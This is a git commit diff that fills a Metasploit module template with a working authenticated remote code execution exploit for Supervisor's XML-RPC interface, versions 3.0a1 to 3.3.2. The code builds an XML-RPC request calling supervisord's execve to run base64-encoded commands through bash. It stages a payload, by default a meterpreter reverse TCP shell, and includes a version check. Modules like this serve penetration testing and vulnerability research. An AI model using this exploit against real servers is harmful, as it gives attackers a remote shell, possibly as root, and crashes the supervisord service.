parent
7cfb5fcc97
commit
aee44e3bd2
|
@ -6,44 +6,182 @@
|
|||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
|
||||
'Name' => "Supervisor XML-RPC Authenticated Remote Code Execution",
|
||||
'Description' => %q{
|
||||
Say something that the user might need to know
|
||||
This module exploits a vulnerability in the Supervisor process control software, where an authenticated client
|
||||
can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server.
|
||||
The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this
|
||||
may be root. This vulnerability can only be exploited by an authenticated client or if supervisord has been
|
||||
configured to run an HTTP server without authentication.
|
||||
|
||||
Due to the nature of this exploit, which utilizes the Python os.execve() function for RCE, the supervisord process
|
||||
will die upon successful exploitation. This exploit attempts to restart the service to avoid a DoS of Supervisor.
|
||||
|
||||
This vulnerability affects versions 3.0a1 to 3.3.2.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Name' ],
|
||||
'Author' =>
|
||||
[
|
||||
'Calum Hutton <c.e.hutton@gmx.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', '' ]
|
||||
['URL', 'https://github.com/Supervisor/supervisor/issues/964'],
|
||||
['URL', 'https://www.debian.org/security/2017/dsa-3942'],
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'System or software version',
|
||||
{
|
||||
'Ret' => 0x41414141 # This will be available in `target.ret`
|
||||
}
|
||||
]
|
||||
['3.0a1-3.3.2', {}]
|
||||
],
|
||||
'Payload' =>
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
'RPORT' => 9001,
|
||||
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
#'AutoRunScript' => 'post/multi/general/execute COMMAND="service supervisor restart"'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "",
|
||||
'DefaultTarget' => 0))
|
||||
'DisclosureDate' => '19 Jul 2017',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9001),
|
||||
OptString.new('AUTH_REQUIRED', [false, 'Enable/disable HTTP basic auth', true]),
|
||||
OptString.new('HttpUsername', [false, 'Username for HTTP basic auth']),
|
||||
OptString.new('HttpPassword', [false, 'Password for HTTP basic auth']),
|
||||
OptString.new('TARGETURI', [true, 'The path to the XML-RPC endpoint', '/RPC2'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check_version(version_match)
|
||||
maj = version_match[2]
|
||||
min = version_match[3]
|
||||
patch = version_match[5]
|
||||
|
||||
if maj.to_i == 3 and (patch.nil? or patch.to_i < 3)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
# For the check command
|
||||
def check
|
||||
|
||||
print_status("Extracting version from web interface..")
|
||||
|
||||
params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/')
|
||||
}
|
||||
if datastore['AUTH_REQUIRED'].to_s == 'true'
|
||||
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
||||
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
||||
end
|
||||
res = send_request_cgi(params)
|
||||
|
||||
if res
|
||||
if res.code == 200
|
||||
match = res.body.match(/<span>((\d+)\.([\dab]+)(\.(\d+))?)<\/span>/)
|
||||
if match
|
||||
if check_version(match)
|
||||
print_good("Vulnerable version found: #{match[1]}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_bad("Version #{match[1]} is not vulnerable")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
print_bad("Could not extract version number from web interface")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
elsif res.code == 401
|
||||
print_bad("Authentication failed: #{res.code} response")
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
print_bad("Unexpected HTTP code: #{res.code} response")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
else
|
||||
print_bad("Error connecting to web interface")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
|
||||
# XML-RPC payload template
|
||||
xml_payload = %{<?xml version="1.0"?>
|
||||
<methodCall>
|
||||
<methodName>supervisor.supervisord.options.execve</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<string>/bin/bash</string>
|
||||
</param>
|
||||
<param>
|
||||
<array>
|
||||
<data>
|
||||
<value><string>bash</string></value>
|
||||
<value><string>-c</string></value>
|
||||
<value><string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|bash</string></value>
|
||||
</data>
|
||||
</array>
|
||||
</param>
|
||||
<param>
|
||||
<struct>
|
||||
</struct>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>}
|
||||
|
||||
# Send the XML-RPC payload via POST to the specified endpoint
|
||||
endpoint_path = target_uri.path
|
||||
print_status("Sending XML-RPC payload via POST to #{peer}:#{datastore['RPORT']}#{endpoint_path}")
|
||||
|
||||
params = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(endpoint_path),
|
||||
'ctype' => 'text/xml',
|
||||
'headers' => {'Accept' => 'text/xml'},
|
||||
'data' => xml_payload,
|
||||
'encode_params' => false
|
||||
}
|
||||
if datastore['AUTH_REQUIRED'].to_s == 'true'
|
||||
print_status("Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})")
|
||||
params.merge!({'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])})
|
||||
end
|
||||
return send_request_cgi(params, timeout=5)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Main function
|
||||
|
||||
res = execute_cmdstager(:linemax => 800)
|
||||
|
||||
if res
|
||||
if res.code == 401
|
||||
fail_with(Failure::NoAccess, "Authentication failed: #{res.code} response")
|
||||
elsif res.code == 404
|
||||
fail_with(Failure::NotFound, "Invalid XML-RPC endpoint: #{res.code} response")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code: #{res.code} response")
|
||||
end
|
||||
else
|
||||
print_good("Request timeout, usually indicates success. Passing to handler..")
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue